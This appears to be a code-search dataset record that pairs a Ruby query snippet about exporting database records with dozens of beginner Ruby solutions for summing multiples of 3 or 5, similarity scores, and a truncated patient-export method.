[ "def find_sum_of_multiples_of_3_and_5_below_1000\n answer = 0\n for number in 1...1000\n answer += number if number % 3 == 0 || number % 5 == 0\n end\n answer\nend", "def sum_of_multiples\n multiples_of_three_or_five = []\n\n for n in 3...1000\n if n % 3 == 0\n multiples_of_three_or_five.push(n)\n end\n end\n\n for n in 5...1000\n if n % 5 == 0\n unless multiples_of_three_or_five.include?(n)\n multiples_of_three_or_five.push(n)\n end\n end\n end\n\n sum = multiples_of_three_or_five.inject { |sum, x| sum + x }\n return sum\nend", "def multiples_3_5_v2\n\tsum = 0\n\n\t1.upto(999) do |i|\n\t\tif i % 3 == 0 || i % 5 == 0\n\t\t\tsum = sum + i\n\t\tend\n\tend\n\n\treturn sum\nend", "def multiples_of_3_and_5\r\n total = 0\r\n (3...1000).each do |x|\r\n if x % 3 == 0 || x % 5 == 0\r\n # puts x\r\n total += x\r\n end\r\n end\r\n total\r\nend", "def sum_of_multiples_of_three_and_five(num)\n\ta = sum_of_first_n_multiples(3, (1000/3))\n\tb = sum_of_first_n_multiples(5, (1000/5))\n\tc = sum_of_first_n_multiples(15, (1000/15))\n\treturn (a + b - c - 1000)\nend", "def sum_multiples_of_3_or_5\n (1..999).to_a.select { |n| n.multiple_of?(3) or n.multiple_of?(5) }.inject(&:+)\nend", "def multiples\n numbers = (1...1000)\n sum = 0\n\n numbers.each do |num|\n sum += num if num % 5 == 0 || num % 3 == 0\n end\n sum\nend", "def sum_multiples\n sum = 0\n\n (1...1000).each do |n|\n sum += n if n % 3 == 0 || n % 5 == 0\n end\n\n sum\nend", "def multiples_3_5_v1\n\tmultiples = (1...1000).find_all do |i| \n\t\ti % 3 == 0 || i % 5 == 0\n\tend\n\n\tanswer = multiples.inject do |memo, num|\n\t\tmemo + num\n\tend\n\n\treturn answer\nend", "def sum_of_multiples\n list_of_multiples = [ ]\n 1000.times do |number| \n list_of_multiples << number if number % 3 == 0 || number % 5 == 0\n end\n list_of_multiples.inject(&:+)\nend", "def sum_multiples()\n index = sum = 0\n while index < 1000\n sum += index if index%3 == 0 || index%5 == 0\n index+=1\n end\n sum\nend", "def multiples_three_five(max_number)\n sum = 0\n max_number = max_number - 1\n (0..max_number).each do |number|\n if number % 3 == 0 || number % 5 == 0\n sum = sum + number\n end\n end\n return sum\nend", "def sum_multiples_3_and_5\n return 3 * 333 * 334 / 2 + 5 * 199 * 200 / 2 - 15 * 66 * 67 / 2\nend", "def multiples_of_three_and_five(number)\n total = 0\n\n (1..(number - 1)).each { |n| total += n if n % 3 == 0 || n % 5 == 0 }\n \n return total\nend", "def find_multiples(number)\n sum_of_multiples = (3...number).each_with_object([]) do |element, list|\n list << element if element % 3 == 0 || element % 5 == 0\n end.sum\nend", "def three_five_sum\n outcome = (1...1000).to_a.select do |num|\n num % 3 == 0 || num % 5 == 0\n end\n total = 0\n outcome.each do |num|\n total += num\n end\n total\nend", "def multiples\n sum = (1..999).select {|num| num % 3 == 0 || num % 5 == 0}.reduce(:+)\n puts sum\nend", "def sum_multiples_3_and_5(number)\n\tsum = 0\n\t(1...number).each do |x|\n\t\tif x % 3 == 0\n\t\t\tsum += x\n\t\telsif x % 5 == 0\n\t\t\tsum += x\n\t\tend\n\tend\n\tsum\nend", "def sumOfMultiples()\n sum = 0\n 1.upto(999) do |i|\n if (i % 3 == 0) or (i % 5 == 0)\n sum += i\n end\n end\n sum\nend", "def sum_multiples(limit)\n(3...limit).find_all {|n| n % 3 == 0 || n % 5 == 0}.inject(:+)\nend", "def sum_multiples_three_five\n sum = 0\n n = 0\n while n < 1000\n if(((n%3) == 0) || ((n%5) == 0))\n sum += n\n end\n n+=1\n end\n puts \"#{sum}\"\nend", "def sum_of_3_and_5_multiples(nbr)\n nbr_a = (1...nbr).to_a\n ls35 = nbr_a.select { |x| (x % 3).zero? || (x % 5).zero? }\n if nbr % 1 != 0 || nbr < 0 # conditiions pour les entiers relatifs\n return 'I said natural number only idiot!'\n elsif nbr > 1000 # pour ne pas calculer les > 1000\n return 'too high!'\n else\n return ls35.sum\n end\nend", "def sum_of_multiples_3_5_below(n)\n (1...n).select {|x| x%3==0 || x%5==0}.inject(&:+)\nend", "def sum_of_multiples(number)\n sum_three = 0\n sum_five = 0\n sum_total = 0\n count_three = 3\n count_five = 5\n\n if number < 5\n sum_five\n else\n while count_five < number\n sum_five += count_five\n count_five += 5\n end\n end\n\n if number < 3\n sum_three\n else\n while count_three < number\n if count_three % 5 != 0\n sum_three += count_three\n end\n count_three += 3\n end\n end\n\n sum_total = sum_five + sum_three\n\n puts sum_total\n return sum_total\nend", "def multiples_of_3_and_5(number)\n (1...number).select{|num| num % 3 == 0 || num % 5 == 0}.inject(:+)\nend", "def multiple_sum int\n (1..int).select { |n| (n % 3 == 0 || n % 5 == 0) }.sum\nend", "def mult_3_5\n\n p=0\n for x in 1..999 do \n if (x % 3 == 0) || (x % 5 == 0)\n p += x\n end\n end\n return p\nend", "def sum_of_multiples_of_three_and_five(n)\r\n (1...n).to_a.select{|x| x % 3 == 0 || x % 5 == 0 }.reduce(:+)\r\nend", "def sum_multiples_of_3_and_5(range)\n range.select { |n| n % 3 == 0 || n % 5 == 0 }.inject(:+)\nend", "def multiple()\n\tresult = 0\n\t\tfor i in 1...1000\n\t\t\tif i%3 == 0 || i%5 == 0\n\tresult += i\n\t\t\tend\n\t\tend\n\treturn result\nend", "def find_multiples_of_3_or_5_below_x x\n sum = 0\n n = 3\n while n < x\n sum += n\n n += 3\n end\n n = 5\n while n < x\n sum += n if n % 3 != 0\n n += 5\n end\n sum\nend", "def sum_of_multiples(min,max)\n natural_set = (min...max).to_a\n multiples = natural_set.select { |n| (n % 3 == 0) or (n % 5 == 0) }\n sum = multiples.reduce(&:+)\n puts \"Sum of natural numbers between #{min} and #{max} that are divisible by 3 or 5 is #{sum}\"\n sum\nend", "def multiples(number)\n number_array = Array(1..number)\n multiples_array = []\n\n number_array.each do |num|\n if num % 3 == 0 || num % 5 == 0\n multiples_array << num\n end\n end\n multiples_array.sum\nend", "def multiple_of_three_and_five(limit)\r\n (3...limit).select { |number| number % 3 == 0 || number % 5 ==0 }.inject(:+)\r\nend", "def sum_of_multiples(n)\n (1...n).select{ |n| n % 3 == 0 || n % 5 == 0 }.inject(:+)\nend", "def multisum(num)\n arr = [*1..num]\n multiples_3_5 = arr.select{ |ele| ele % 3 == 0 || ele % 5 == 0}\n multiples_3_5.sum\nend", "def sum_multiples\n @sum35 = (1..@limit).select{|num| num%3 == 0 || num%5 == 0}\n @sum35 = @sum35.reduce(:+)\n @sum35\n end", "def sum_of_multiples(n)\n multiples_of_3_or_5 = []\n for i in 1..n\n if i % 3 == 0 || i % 5 == 0\n multiples_of_3_or_5 << i\n end\n end\n multiples_of_3_or_5.sum\nend", "def threefive(num)\n\n if num < 1 || num > 100\n return \"Number must be between 1-100\"\n end\n mult_arr = []\n mult_arr << 0\n i = 0\n\n while num > i\n if (i % 3) == 0\n mult_arr << i\n elsif (i % 5) == 0\n mult_arr << i\n end\n i += 1\n end\n return mult_arr.inject{|sum,n| sum + n}\n\nend", "def multisum(number)\n multiples = (1..number).select { |x| (x % 3 == 0) || (x % 5 == 0) }\n multiples.reduce(:+)\nend", "def mult_sum num\n(1...num).select{|x| x%3==0 || x%5==0}.reduce(:+)\nend", "def mult \n\tsum = 0\n (0...1000).select do |i| \n\t\tif (i % 3 === 0 || i % 5 === 0)\n\t\t\tsum += i\n\t\tend\n\tend\n\tputs sum\nend", "def sum_of_multiples(max, a, b)\n (1..max).select { |i| i % a == 0 || i % 5 == 0 }.reduce(:+)\nend", "def multisum(limit)\n multiples = []\n\n for num in 1..limit\n multiples << num if num % 3 == 0 || num % 5 == 0\n end\n\n multiples.inject(:+)\nend", "def multisum(number)\n (1..number).select { |multiple| multiple % 3 == 0 || multiple % 5 == 0 }.inject(:+)\nend", "def multiples(numbers)\n numbers.inject(0) do |a, e|\n # sum the elements into the accumulator\n # if they are divisible by 3 or 5\n a += e if e % 3 == 0 || e % 5 == 0\n a\n end\nend", "def multisum(limit)\n (1..limit).select { |num| (num % 3).zero? || (num % 5).zero? }.sum\nend", "def multiples_3_and_5 (top_range_num)\n three_five_array = []\n i = 1\n while i < top_range_num\n if i%3 == 0\n three_five_array.push(i)\n elsif i%5 == 0\n three_five_array.push(i)\n end\n i += 1\n end\n three_five_array = three_five_array.uniq\n sum = three_five_array.inject {|total, x| total + x}\n puts sum\nend", "def multiples(num)\n (1...num).select { |n| n % 3 == 0 || n % 5 == 0 }.inject(:+)\nend", "def multisum(number)\n (0..number).reduce { |sum, n| n % 5 == 0 || n % 3 == 0 ? sum + n : sum }\nend", "def refactored_sum_of_multiples(range)\n sum = 0 \n range.each do |num|\n if num % 3 == 0 || num % 5 == 0\n sum = sum + num\n end\n end\n sum\nend", "def find_multiples (cap)\n\tsum = 0\n\t(0..(cap-1)).each {|num| sum += num if (num % 3 == 0 || num % 5 == 0) }\n\n\treturn sum\nend", "def sum_of_3_or_5_multiples(n)\n n = n.to_i\n #compteur de boucle\n i = 0\n #tableu incluant les multiple de 3 et 5\n result_array = []\n while i < n\n a = i%3\n b = i%5\n if a == 0 || b == 0\n result_array << i\n i+=1\n else\n i+=1\t\n end\n \n end\n sum = 0\n result_array.each do |p|\n \t sum = sum + p\n end\n return sum \nend", "def multiples(n)\n (1...n).select do |num|\n num if (num % 3).zero? || (num % 5).zero?\n end.reduce(:+)\nend", "def multisum(number)\n multiples = (1..number).select do |num|\n num % 3 == 0 || num % 5 == 0\n end\n\n multiples.inject(:+)\nend", "def multisum(max_value)\n (1..max_value).select {|num| num % 3 == 0 || num % 5 == 0}.reduce(:+)\nend", "def sum_with_catch\n\t# placeholder to start running total\n\ttotal = 0\n\t# create array for each item that is multiples of 3 or 5, add to total\n\t(1...1000).each do |n|\n\t\tif (n % 3 == 0) || (n % 5 == 0)\n\t\t\ttotal += n\n\t\tend\n\tend\n\t# return total\n\treturn total\nend", "def multisum(number) # number 1..10 determines which numbers are divisible by 3 and 5\n sum = 0\n 1.upto(number) do |num|\n if num % 3 == 0 || num % 5 == 0\n sum += num # this adds the numbers from 1..num that either are multiples of 3 or 5\n end\n end\n sum # returns sum, need this here to run program successfully\nend", "def multisum(max)\n sum = 0\n 1.upto(max) { |num| sum += num if num % 3 == 0 || num % 5 == 0 }\n sum\nend", "def solve\n sum = 0\n (1..999).each do |n|\n if n % 3 == 0 or n % 5 == 0\n sum += n\n end\n end\n sum\nend", "def multiples(x)\n array = []\n while x > 0\n x = x - 1\n if (x % 3 == 0) || (x % 5 == 0)\n array << x\n end\n end\n return array.inject{|sum,x| sum + x }\nend", "def multisum(num)\n (1..num).to_a.select { |n| n % 3 == 0 || n % 5 == 0 }.sum\nend", "def multiples(input)\n (1..input).select { |num| (num % 3).zero? || (num % 5).zero? }.reduce(:+)\nend", "def run\n (3...1000).inject(0){|sum, num| (num % 3 == 0 || num % 5 == 0) ? sum += num : sum }\nend", "def multiples(number)\n number_array = Array(1..number)\n multiples_array = []\n\n number_array.each do |num|\n if num % 3 == 0 || num % 5 == 0\n multiples_array << num\n end\n end\n multiples_array.inject(:+)\nend", "def multisum(number)\n sum = 0\n (1..number).each do |num|\n if num % 3 == 0 || num % 5 == 0\n sum += num\n end\n end\n sum\nend", "def multiples_of_3_and_5_recursive(num, sum = 0)\n return sum if num == 0\n\n num = num - 1\n\n if (num % 3 == 0) || (num % 5 == 0)\n sum += num\n end\n\n multiples_of_3_and_5_recursive(num, sum)\n\nend", "def sum_multiples_of_3_and_5(num)\n arr = Array(0..(num-1))\n keep = arr.select do |n|\n n % 3 == 0 || n % 5 == 0\n end\n puts keep.reduce(:+)\nend", "def multisum(num)\n multiples = []\n 1.upto(num) do |x| \n if x % 3 == 0 || x % 5 == 0\n multiples << x\n end\n end\n multiples.inject(:+)\nend", "def multisum(num)\n (1..num).select{ |x| (x % 3 == 0) || (x % 5 == 0) }.sum\nend", "def mult(number)\n (1..number).select { |i| i % 3 == 0 || i % 5 == 0 }.inject(:+)\nend", "def multisum(num)\n multiples_3_and_5 = (1..num).to_a.map do |n|\n n if (n % 3).zero? || (n % 5).zero?\n end\n multiples_3_and_5.compact.inject(:+)\nend", "def solve( maxValue )\n\n return if maxValue < 1\n\n sum = 0;\n count = 1;\n while count < maxValue\n sum += count if count % 3 == 0 or count % 5 == 0\n count += 1\n end\n puts sum\nend", "def multisum(num)\n 1.upto(num).select { |number| number % 3 == 0 || number % 5 == 0 }.sum\nend", "def sum_3_5(n)\n x = 3\n multiple_sum = 0\n while x < n\n current = x\n if (current % 3 == 0) or (current % 5 == 0)\n multiple_sum += current\n end\n x += 1\n end\n multiple_sum\nend", "def multisum(num)\n numbers = (1..num).to_a\n multiples = numbers.select { |element| element % 3 == 0 || element % 5 == 0 }\n multiples.inject(:+)\nend", "def sum_multiples_of_3_or_5(n)\n (1...n).inject(0) do |sum, n|\n sum + if n % 3 == 0 || n % 5 == 0\n n\n else\n 0\n end\n end\nend", "def multiples_sums(int)\n sum = 0\n (1...int).to_a.each do |x|\n \tif x % 3 == 0 || x % 5 == 0\n \t\tsum += x.to_int\n \tend\n end\n sum\nend", "def sum_of_mults(num)\n ary = []\n num.times do |num|\n if num % 3 == 0 || num % 5 == 0\n ary << num\n end\n num -= 1\n end\n ary.inject(:+)\nend", "def multisum(limit)\n nums = []\n 1.upto(limit) { |num| nums << num if (num % 3 == 0 || num % 5 == 0)}\n nums.sum\nend", "def multisum(num)\n (1..num).select { |i| i % 3 == 0 || i % 5 == 0 }.reduce(:+)\nend", "def solution(number)\n sum = 0\n multipliers = (1..number-1).select {|x| x % 3 == 0 or x % 5 == 0}\n print multipliers\n multipliers.inject do |sum, x|\n sum + x\n end\nend", "def multisum(number)\n (0..number).select { |num| num % 3 == 0 || num % 5 == 0 }.inject(:+)\nend", "def multisum(number)\n sum = 0\n\n 1.upto(number) { |i| sum += i if i % 3 == 0 || i % 5 == 0 }\n sum\nend", "def multisum(max_value)\n (1..max_value).inject(0) do |sum, n|\n n % 3 == 0 || n % 5 == 0 ? sum + n : sum\n end\nend", "def multiples_of_3_or_5(max)\n multiples = []\n for i in 3...max #two dots are inclusive, three dots are not\n if i % 3 == 0 || i % 5 == 0 then multiples << i end\n end\n multiples\nend", "def solution(int)\n multiples_3 = []\n multiples_5 = []\n threes = 3\n fives = 5\n \n until threes >= int\n multiples_3 << threes\n threes += 3\n end\n until fives >= int\n multiples_5 << fives\n fives += 5\n end\n \n (multiples_3 | multiples_5).sum\nend", "def multiples_of_three_and_five(limit)\n arr = []\n i = 1\n\n while i < limit do\n if i % 5 == 0 || i % 3 == 0\n arr << i\n i += 1\n else\n i += 1\n end\n # puts $arr.inspect\n end\n\n arr_size = arr.count\n # puts arr_size\n total = 0\n i = 0\n\n while i < arr_size do\n total += arr[i]\n i += 1\n end\n\n return total\nend", "def multisum(integer)\n total = 0\n (1..integer).each do |num|\n total += num if (num % 3 ==0) || (num % 5 == 0)\n end\n total\nend", "def multisum(num)\n (1..num).select { |num| num % 3 == 0 || num % 5 == 0 }.reduce(:+)\nend", "def multisum(integer)\n multiples = []\n 1.upto(integer) do |index|\n multiples << index if index % 3 == 0 || index % 5 == 0\n end\n multiples.sum\nend", "def sum_multiples(numbers, limit)\n\tsum = 0\n\t(numbers[0]..limit-1).each { |potential_multiple|\n\t\ti = 0\n\t\thas_been_counted = false\n\t\twhile (i < numbers.length && !has_been_counted) do\n\t\t\tif (potential_multiple % numbers[i] == 0)\n\t\t\t\thas_been_counted = true\n\t\t\t\tsum += potential_multiple\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t}\n\n\treturn sum\nend", "def solution(number)\n [*1...number].select {|n| (n % 3 == 0) or (n % 5 == 0)}.sum\nend", "def multisum2(number)\n 1.upto(number).select { |num| num % 3 == 0 || num % 5 == 0 }.reduce(:+)\nend", "def solution(number)\n return 0 if number <= 3\n\n sum = 0\n (1..(number - 1)).each do |n|\n if (n % 3 == 0) || (n % 5 == 0)\n sum += n\n end\n end\n\n sum\nend", "def divisible_by_3(number)\n sum = 0\n changing_value = 0\n until (changing_value >= number)\n if (changing_value % 5 == 0)\n sum = sum + changing_value\n\n end\n changing_value += 1\n end\n return sum\nend", "def sumdivby3or5(n)\n result = 0\n 1.upto(n) { |e| result += e if (e % 3 == 0) || (e % 5 == 0) }\n puts result\nend", "def compute_sum_of_threes_and_fives\r\n sum = 0\r\n (1...1000).each do |n|\r\n sum += n if n % 3 == 0 || n % 5 == 0\r\n end\r\n sum\r\nend", "def sum_of_3_or_5_multiples?(final_number)\n \n final_sum=0\n \n if (final_number)is_i?(Fixnum) && final_number >= 0\n \n 0.upto(final_number-1) do |current_number|\n if is_multiple_of_3_or_5? (current_number) == true \n final_sum = final_sum + current_number\n else \n end \n end\n return \"Yo ! Je ne prends que les entiers naturels. TG\"\n end\n return final_sum\n end", "def multisum(n)\n sum = 0\n (1..n).each do |x|\n sum += x if (x % 3 == 0) || (x % 5 == 0)\n end\n sum\nend" ]
[ "0.88275445", "0.8574988", "0.8506502", "0.84992254", "0.84837484", "0.84764296", "0.8449678", "0.84132767", "0.83429474", "0.8335162", "0.82663715", "0.82541883", "0.8225552", "0.8199828", "0.81876963", "0.80904967", "0.80895674", "0.80883884", "0.80879295", "0.80578434", "0.80565894", "0.80340165", "0.80137956", "0.80005443", "0.7991543", "0.79634786", "0.7942929", "0.7933668", "0.7927324", "0.791456", "0.78891516", "0.7847432", "0.7839605", "0.7835665", "0.7831109", "0.78244746", "0.78150403", "0.78117895", "0.7806326", "0.7804231", "0.7793907", "0.77931017", "0.7777396", "0.77600133", "0.7758166", "0.77443075", "0.7739947", "0.7738571", "0.7719068", "0.7697426", "0.76782393", "0.76728845", "0.7671707", "0.7657447", "0.7639853", "0.76190794", "0.760058", "0.7599788", "0.75989854", "0.7594202", "0.75905985", "0.7585549", "0.7582474", "0.75628704", "0.7559824", "0.7559108", "0.7558226", "0.7553839", "0.7545315", "0.7541326", "0.75387436", "0.7533731", "0.75285345", "0.75222605", "0.7521282", "0.7515606", "0.7515395", "0.75133985", "0.75038517", "0.7495523", "0.74911326", "0.74868023", "0.74805874", "0.7477407", "0.74731976", "0.7471765", "0.7469143", "0.74664253", "0.7459949", "0.74591357", "0.74551296", "0.7433613", "0.7423064", "0.7408549", "0.7403269", "0.7400282", "0.73978174", "0.73962903", "0.73886085", "0.737839" ]
0.7515662
75
:reek:NestedIterators def records_hash_for(appeal) exported_records(map)|table_name, records| next unless records.is_a?(Array) filtered_records = records.select do |record| record.find do |attrib_name, value| value == appeal["id"] && attrib_name.end_with?("_id") end end [table_name, filtered_records] end.compact.to_h end
def object_id_cache @object_id_cache ||= { # appeals: exported_records(Appeal).map { |appeal| [appeal["id"], appeal["name"]] }.to_h, orgs: exported_records(Organization).map { |org| [org["id"], org["name"]] }.to_h, users: exported_records(User).map { |user| [user["id"], user["css_id"]] }.to_h, tasks: exported_records(Task).map { |task| [task["id"], "#{task['type']}_#{task['id']}"] }.to_h } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def map_to_hash_by_primary_key(result) \n hash = {}\n\n result.each do |record|\n hash[record[@primary_key]] = record\n end\n\n hash\n end", "def dissect_to_record_hashes\n end", "def to_hash\n data = Hash.new\n Dynamic.tables.each do |name, value|\n data[name] = Hash.new\n value.all.each do |primary, instance|\n data[name][primary] = instance.to_array\n end\n end\n data\n end", "def construct_id_map_for_composite(records)\n id_to_record_map = {}\n ids = []\n records.each do |record|\n primary_key ||= record.class.primary_key\n ids << record.id\n mapped_records = (id_to_record_map[record.id.to_s] ||= [])\n mapped_records << record\n end\n ids.uniq!\n return id_to_record_map, ids\n end", "def construct_id_map(records, primary_key=nil)\n id_to_record_map = {}\n ids = []\n records.each do |record|\n primary_key ||= record.class.primary_key\n ids << record[primary_key]\n mapped_records = (id_to_record_map[ids.last.to_s] ||= [])\n mapped_records << record\n end\n ids.uniq!\n return id_to_record_map, ids\n end", "def grouped_records(orig_association, records, polymorphic_parent)\n h = {}\n records.each do |record|\n # The virtual_field lookup can return Symbol/Nil/Other (typically a Hash)\n # so the case statement and the cases for Nil/Other are new\n\n # each class can resolve virtual_{attributes,includes} differently\n association = record.class.replace_virtual_fields(orig_association)\n # 1 line optimization for single element array:\n association = association.first if association.kind_of?(Array) && association.size == 1\n\n case association\n when Symbol, String\n reflection = record.class._reflect_on_association(association)\n next if polymorphic_parent && !reflection || !record.association(association).klass\n when nil\n next\n else # need parent (preloaders_for_{hash,one}) to handle this Array/Hash\n reflection = association\n end\n (h[reflection] ||= []) << record\n end\n h\n end", "def inner_dump( &encode_block )\n # could possibly overrride Dataset#paginate(page_no, page_size, record_count=nil)\n on_conditions = primary_keys.map{|f| [f,f]}.to_h\n (0..table_dataset.count).step(page_size).each do |offset|\n limit_dataset = table_dataset.select( *primary_keys ).limit( page_size, offset ).order( *primary_keys )\n page = table_dataset.join( limit_dataset, on_conditions ).order( *primary_keys ).qualify(table_name)\n logger.info \"#{__method__} #{table_name} #{offset}\"\n logger.debug page.sql\n page.each &encode_block\n end\n end", "def id_name_map2(records)\n records.inject({}) do |map, record|\n map.update(record['hostid'] => record['name'])\n end\n end", "def to_hash\n @table.inject(Hash.new) { |h, arr| k, v = arr; h[k.id2name] = v; h }\n end", "def extract_schema(records)\n (records || []).inject({}) do |memo, record|\n key = (record['rel'] || 'unknown').split('#').last.to_sym\n value = cleanse_gdata(record.except('rel'))\n value[:primary] = true if value[:primary] == 'true' # cast to a boolean for primary entries\n value[:protocol] = value[:protocol].split('#').last if value[:protocol] && value[:protocol].present? # clean namespace from handle protocols\n value = value[:$t] if value[:$t].present? # flatten out entries with keys of '$t'\n value = value[:href] if value.is_a?(Hash) && value.keys == [:href] # flatten out entries with keys of 'href'\n memo[key] = value\n memo\n end\n end", "def id_columns\n {\n :activities=>[:id, :dossier_id, :actor_id, :subject_id],\n :answers=>[:id, :protocol_id, :measurement_id, :completed_by, :subject_id, :questionnaire_id, :owner_id, :team_id, :fill_out_task_id, :remote_id, :non_response_id, :requester_id], # added completed_by, leave out export_id (which is archived id)\n :answers_fill_out_requests=>[:answer_id, :fill_out_request_id],\n :answers_fill_out_sessions=>[:id, :answer_id, :fill_out_session_id],\n :answers_reports=>[:id, :answer_id, :report_id],\n :api_tokens=>[:id, :organization_id],\n :auth_nonces=>[:id, :consumer_id],\n :auth_tokens=>[:id, :organization_id],\n :delayed_jobs=>[:id],\n :dossier_epd_id_changes=>[:id, :organization_id, :requester_id],\n :email_bounces=>[:id, :dossier_id],\n :export_versions=>[:id, :organization_id],\n :fill_out_requests=>[:id, :dossier_id, :protocol_subscription_id, :measurement_sequence_id],\n :fill_out_sessions=>[:id, :measurement_id, :current_answer_id, :completer_id, :patient_id, :team_id],\n :fill_out_sessions_questionnaires=>[:id, :fill_out_session_id, :questionnaire_id],\n :fill_out_tasks=>[:id, :patient_id],\n :highcharts_json_caches=>[:id],\n :invitation_templates=>[:id, :organization_id, :protocol_id, :team_id],\n :invitations=>[:id, :user_id, :protocol_id, :team_id, :parent_id, :professional_id, :organization_id],\n :invitations_questionnaires=>[:invitation_id, :questionnaire_id],\n :measurement_sequences=>[:id, :dossier_id],\n :measurements=>[:id, :parent_id, :protocol_id],\n :measurements_questionnaires=>[:measurement_id, :questionnaire_id, :id],\n :non_responses=>[:id],\n :organizations=>[:id, :current_export_version_id],\n :patients=>[:id, :organization_id, :patty_patient_id],\n :patty_patients=>[:id],\n :professionals=>[:id, :organization_id],\n :professionals_patients=>[:patient_id, :professional_id],\n :protocol_subscriptions=>[:id, :patient_id, :protocol_id, :started_by_id, :invitation_template_id, :measurement_sequence_id, :text_message_template_id],\n :protocols=>[:id, :organization_id],\n :quby_answers=>[:id], # removed: :questionnaire_id (pointed to id in Quby when it was a seperate Rails app and questionnaire dsls were stored in the db)\n :questionnaires=>[:id, :bulk_id, :original_id],\n :report_templates=>[:id, :protocol_id, :organization_id],\n :reported_questionnaires=>[:id, :report_template_id, :questionnaire_id],\n :reports=>[:id, :report_template_id, :patient_id],\n # removed: sessions table\n # removed: schema migrations table\n :teams=>[:id, :owner_id, :organization_id],\n :text_message_templates=>[:id, :organization_id, :protocol_id],\n :text_messages=>[:id, :text_message_template_id, :dossier_id],\n :tokens=>[:id, :patient_id]\n }\n end", "def serialize_data(records)\n records.map { |r|\n data_adapter.record_to_hash(r, final_columns(:with_meta => true)).tap { |h|\n\n config[:extra_fields].each do |f|\n name = f[:name].underscore.to_sym\n h[name] = send(\"#{name}#{f[:type] == 'boolean' ? '?' : ''}\", r)\n end\n\n inline_children = get_inline_children(r)\n h[:data] = serialize_data(inline_children) unless inline_children.nil?\n h\n }\n }\n end", "def incomplete_comprehensive_details_for_export(patients)\n comprehensive_details = {}\n patients.each do |patient|\n comprehensive_details[patient.id] = {\n first_name: patient[:first_name] || '',\n middle_name: patient[:middle_name] || '',\n last_name: patient[:last_name] || '',\n date_of_birth: patient[:date_of_birth]&.strftime('%F') || '',\n sex: patient[:sex] || '',\n white: patient[:white] || false,\n black_or_african_american: patient[:black_or_african_american] || false,\n american_indian_or_alaska_native: patient[:american_indian_or_alaska_native] || false,\n asian: patient[:asian] || false,\n native_hawaiian_or_other_pacific_islander: patient[:native_hawaiian_or_other_pacific_islander] || false,\n other_race: patient[:other_race] || false,\n ethnicity: patient[:ethnicity] || '',\n primary_language: patient[:primary_language] || '',\n secondary_language: patient[:secondary_language] || '',\n interpretation_required: patient[:interpretation_required] || false,\n nationality: patient[:nationality] || '',\n user_defined_id_statelocal: patient[:user_defined_id_statelocal] || '',\n user_defined_id_cdc: patient[:user_defined_id_cdc] || '',\n user_defined_id_nndss: patient[:user_defined_id_nndss] || '',\n address_line_1: patient[:address_line_1] || '',\n address_city: patient[:address_city] || '',\n address_state: patient[:address_state] || '',\n address_line_2: patient[:address_line_2] || '',\n address_zip: patient[:address_zip] || '',\n address_county: patient[:address_county] || '',\n foreign_address_line_1: patient[:foreign_address_line_1] || '',\n foreign_address_city: patient[:foreign_address_city] || '',\n foreign_address_country: patient[:foreign_address_country] || '',\n foreign_address_line_2: patient[:foreign_address_line_2] || '',\n foreign_address_zip: patient[:foreign_address_zip] || '',\n foreign_address_line_3: patient[:foreign_address_line_3] || '',\n foreign_address_state: patient[:foreign_address_state] || '',\n monitored_address_line_1: patient[:monitored_address_line_1] || '',\n monitored_address_city: patient[:monitored_address_city] || '',\n monitored_address_state: patient[:monitored_address_state] || '',\n monitored_address_line_2: patient[:monitored_address_line_2] || '',\n monitored_address_zip: patient[:monitored_address_zip] || '',\n monitored_address_county: patient[:monitored_address_county] || '',\n foreign_monitored_address_line_1: patient[:foreign_monitored_address_line_1] || '',\n foreign_monitored_address_city: patient[:foreign_monitored_address_city] || '',\n foreign_monitored_address_state: patient[:foreign_monitored_address_state] || '',\n foreign_monitored_address_line_2: patient[:foreign_monitored_address_line_2] || '',\n foreign_monitored_address_zip: patient[:foreign_monitored_address_zip] || '',\n foreign_monitored_address_county: patient[:foreign_monitored_address_county] || '',\n preferred_contact_method: patient[:preferred_contact_method] || '',\n primary_telephone: patient[:primary_telephone] ? format_phone_number(patient[:primary_telephone]) : '',\n primary_telephone_type: patient[:primary_telephone_type] || '',\n secondary_telephone: patient[:secondary_telephone] ? format_phone_number(patient[:secondary_telephone]) : '',\n secondary_telephone_type: patient[:secondary_telephone_type] || '',\n preferred_contact_time: patient[:preferred_contact_time] || '',\n email: patient[:email] || '',\n port_of_origin: patient[:port_of_origin] || '',\n date_of_departure: patient[:date_of_departure]&.strftime('%F') || '',\n source_of_report: patient[:source_of_report] || '',\n flight_or_vessel_number: patient[:flight_or_vessel_number] || '',\n flight_or_vessel_carrier: patient[:flight_or_vessel_carrier] || '',\n port_of_entry_into_usa: patient[:port_of_entry_into_usa] || '',\n date_of_arrival: patient[:date_of_arrival]&.strftime('%F') || '',\n travel_related_notes: patient[:travel_related_notes] || '',\n additional_planned_travel_type: patient[:additional_planned_travel_type] || '',\n additional_planned_travel_destination: patient[:additional_planned_travel_destination] || '',\n additional_planned_travel_destination_state: patient[:additional_planned_travel_destination_state] || '',\n additional_planned_travel_destination_country: patient[:additional_planned_travel_destination_country] || '',\n additional_planned_travel_port_of_departure: patient[:additional_planned_travel_port_of_departure] || '',\n additional_planned_travel_start_date: patient[:additional_planned_travel_start_date]&.strftime('%F') || '',\n additional_planned_travel_end_date: patient[:additional_planned_travel_end_date]&.strftime('%F') || '',\n additional_planned_travel_related_notes: patient[:additional_planned_travel_related_notes] || '',\n last_date_of_exposure: patient[:last_date_of_exposure]&.strftime('%F') || '',\n potential_exposure_location: patient[:potential_exposure_location] || '',\n potential_exposure_country: patient[:potential_exposure_country] || '',\n contact_of_known_case: patient[:contact_of_known_case] || '',\n contact_of_known_case_id: patient[:contact_of_known_case_id] || '',\n travel_to_affected_country_or_area: patient[:travel_to_affected_country_or_area] || false,\n was_in_health_care_facility_with_known_cases: patient[:was_in_health_care_facility_with_known_cases] || false,\n was_in_health_care_facility_with_known_cases_facility_name: patient[:was_in_health_care_facility_with_known_cases_facility_name] || '',\n laboratory_personnel: patient[:laboratory_personnel] || false,\n laboratory_personnel_facility_name: patient[:laboratory_personnel_facility_name] || '',\n healthcare_personnel: patient[:healthcare_personnel] || false,\n healthcare_personnel_facility_name: patient[:healthcare_personnel_facility_name] || '',\n crew_on_passenger_or_cargo_flight: patient[:crew_on_passenger_or_cargo_flight] || false,\n member_of_a_common_exposure_cohort: patient[:member_of_a_common_exposure_cohort] || false,\n member_of_a_common_exposure_cohort_type: patient[:member_of_a_common_exposure_cohort_type] || '',\n exposure_risk_assessment: patient[:exposure_risk_assessment] || '',\n 